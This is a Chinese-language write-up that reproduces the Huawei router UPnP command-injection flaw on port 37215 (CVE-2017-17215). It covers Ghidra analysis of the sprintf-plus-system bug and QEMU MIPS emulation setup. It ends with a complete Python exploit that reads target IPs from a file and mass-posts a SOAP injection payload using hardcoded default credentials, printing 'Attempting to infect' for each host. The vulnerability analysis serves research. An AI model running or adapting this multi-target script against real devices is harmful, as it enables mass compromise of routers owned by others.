在复现这个洞的过程中踩了不少坑,花了很长时间才把环境跑起来,感觉真是不容易。一方面分析一下漏洞产生的原因,一方面记录一下出现问题的解决方法。
upnp 程序的 37215 端口存在任意命令注入,参考:
https://www.cnblogs.com/hac425/p/9416936.html
将 ./bin/upnp 加载到 Ghidra 中进行伪代码的生成,定位到 0x0040749c 地址处,很明显可以看出来是经典的 sprintf 加 system 的命令注入漏洞。
这里来注入 NewStatusURL 这个地方,使用 ; 闭合前面的命令来执行新的的命令。
参考: https://blog.csdn.net/qq_33892117/article/details/89314470
解决方法:需要使用 5.4 的内核
下载链接:https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
运行命令:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=br0,script=no,downscript=no
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.1.2/24
进入虚拟机之后运行命令进行挂载:
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
为 eth0 网卡添加 ip。(和 tap0 在同一个局域网内即可。)
ifconfig eth0 192.168.1.1/24
切换到主目录后运行:
./bin/upnp
./bin/mic
在运行 mic 前,需要 ssh 连接上来 mips 虚拟机来运行他,直接运行会改变网卡并且退出不了控制台。。。或者运行 ./bin/mic &
运行起来之后,会发现主机到虚拟机的网络不通,原因是出现的 br0 网卡吧 eth0 的 ip 抢占了,需要把 eth0 的ip重新改回来。
具体原因不太清楚。。。
ifconfig br0 192.168.1.3/24
ifconfig eth0 192.168.1.1/24
这样就能成功运行起来 37215 和 80 端口的 HTTP 服务了。
之后使用 EXP 直接打就行了。
参考:http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
#!/usr/bin/python
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass
for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass
http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.cnblogs.com/hac425/p/9416936.html